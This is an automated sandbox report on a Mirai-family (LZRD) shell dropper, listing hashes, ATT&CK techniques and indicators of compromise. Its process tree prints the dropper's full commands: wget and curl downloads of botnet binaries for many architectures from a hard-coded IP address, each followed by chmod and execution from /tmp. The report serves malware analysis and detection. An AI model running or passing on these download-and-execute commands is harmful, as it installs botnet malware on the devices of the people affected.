mirai | 288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

Analysis

max time kernel
44s
max time network
47s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
23-12-2024 05:02

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General

Target

ohshit.sh
Size

3KB
MD5

e0ccd217979419469e913cbef10872f3
SHA1

6bbef022dcf450af81bee90522e4c82069c84064
SHA256

288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71
SHA512

38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
895	chmod
777	chmod
765	chmod
825	chmod
747	chmod
799	chmod
838	chmod
889	chmod
901	chmod
753	chmod
759	chmod
832	chmod
861	chmod
883	chmod
737	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	739	WTF
/tmp/WTF	748	WTF
/tmp/WTF	754	WTF
/tmp/WTF	760	WTF
/tmp/WTF	766	WTF
/tmp/WTF	779	WTF
/tmp/WTF	800	WTF
/tmp/WTF	826	WTF
/tmp/WTF	833	WTF
/tmp/WTF	839	WTF
/tmp/WTF	863	WTF
/tmp/WTF	884	WTF
/tmp/WTF	890	WTF
/tmp/WTF	896	WTF
/tmp/WTF	902	WTF

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral3/files/fstream-4.dat	upx
behavioral3/files/fstream-5.dat	upx

Reads runtime system information 15 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
742	wget
744	curl
746	cat

Writes file to tmp directory 21 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86_64	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.spc	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:713
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  PID:716
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
  2⤵
  - Reads runtime system information
  PID:727
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:736
- /bin/chmod
  chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:739
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:744
- /bin/cat
  cat boatnet.mips
  2⤵
  - System Network Configuration Discovery
  PID:746
- /bin/chmod
  chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:747
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:748
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
  2⤵
  - Reads runtime system information
  PID:751
- /bin/cat
  cat boatnet.arc
  2⤵
  PID:752
- /bin/chmod
  chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:754
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  PID:756
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
  2⤵
  - Reads runtime system information
  PID:757
- /bin/cat
  cat boatnet.i468
  2⤵
  PID:758
- /bin/chmod
  chmod +x ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:759
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:760
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:763
- /bin/cat
  cat boatnet.i686
  2⤵
  PID:764
- /bin/chmod
  chmod +x boatnet.i686 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:766
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  PID:767
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:768
- /bin/cat
  cat boatnet.x86_64
  2⤵
  PID:776
- /bin/chmod
  chmod +x boatnet.i686 boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:777
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:779
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:780
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/cat
  cat boatnet.mpsl
  2⤵
  PID:798
- /bin/chmod
  chmod +x boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:800
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:804
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/cat
  cat boatnet.arm
  2⤵
  PID:824
- /bin/chmod
  chmod +x boatnet.arm boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:826
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:828
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:830
- /bin/cat
  cat boatnet.arm5
  2⤵
  PID:831
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:833
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:835
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/cat
  cat boatnet.arm6
  2⤵
  PID:837
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh systemd-private-2b54cc0a1deb4caa8ff5b672da286b49-systemd-timedated.service-lRJNsh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:839
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:841
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/cat
  cat boatnet.arm7
  2⤵
  PID:860
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:863
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/cat
  cat boatnet.ppc
  2⤵
  PID:882
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.ppc boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:884
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:886
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.spc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:887
- /bin/cat
  cat boatnet.spc
  2⤵
  PID:888
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:889
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:890
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:892
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:893
- /bin/cat
  cat boatnet.m68k
  2⤵
  PID:894
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.m68k boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:895
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:896
- /usr/bin/wget
  wget http://154.213.187.234:3000/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:898
- /usr/bin/curl
  curl -O http://154.213.187.234:3000/hiddenbin/boatnet.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:899
- /bin/cat
  cat boatnet.sh4
  2⤵
  PID:900
- /bin/chmod
  chmod +x boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i686 boatnet.m68k boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86_64 ohshit.sh WTF
  2⤵
  - File and Directory Permissions Modification
  PID:901
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  PID:902

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/WTF

Filesize
232B

MD5
7dfb9a4219d20c6babc4877451844e3c

SHA1
8b56a18d01c00f757df29faeb95b2711ecd3cd18

SHA256
9177a352dcbf8875ebb2e22e682760d47faa4d77398add153dd7084e7568c5bc

SHA512
7355451c27cd2fe7e03af772a8911fff879e64b04c8e002d4335ff890957a04e611e444131ddab6e171e0a21a72cbbe75f9b5cc338a72d2d24ec6d71d59998c9

Download Submit
/tmp/WTF

Filesize
24KB

MD5
141c0ef107c784d2edf8f36452607940

SHA1
8fa6077965a19f6532081d40e037555bf763a8d3

SHA256
bdaaf1c702c08f65564847e37baba01f859c0850c5071a9a554b193efa760bc2

SHA512
43c8e7e71fad65057540b88fcbb1edc2fa3d1ef9f5b4e523b78d425120b52707cf5a2d7575ab93cc090d616f9a524a6d97ed1b8ce17979bbebd11d39c256db14

Download Submit
/tmp/WTF

Filesize
21KB

MD5
2706dca6a43829baaca013cae9c8a336

SHA1
156da3f799279ed0e3a9bb704da91d292ec6e1e6

SHA256
59601bd421bf7a72c0ec95ff44ea45aa241f88e832806defbbf77a9567a6c14c

SHA512
f321779b067765c54218743a7db184b901f6487ac6f5fcc1b0b3748d465a6222256a86116fc903810853b10eded99652f7553ce43c46adb39c4b75c391bb77e2

Download Submit
/tmp/WTF

Filesize
57KB

MD5
549940fef5478737eae8c25bcfed0952

SHA1
bc44d8bf8282eddc6df04beb5d1d3dac465371db

SHA256
e2409e6b5b2b1769f1f4eca9ee84024a59145cdcf7bf7893fcc83095f1bbfced

SHA512
3f8a2d29f312e3ce30a1491b83f2a70c8bfe67b752b6e490ea8f6d129f15ad3847eaffcdffca4238d5171b0b1f6d2eaf2cc21ed8fc5b2b2f016c98407a349e08

Download Submit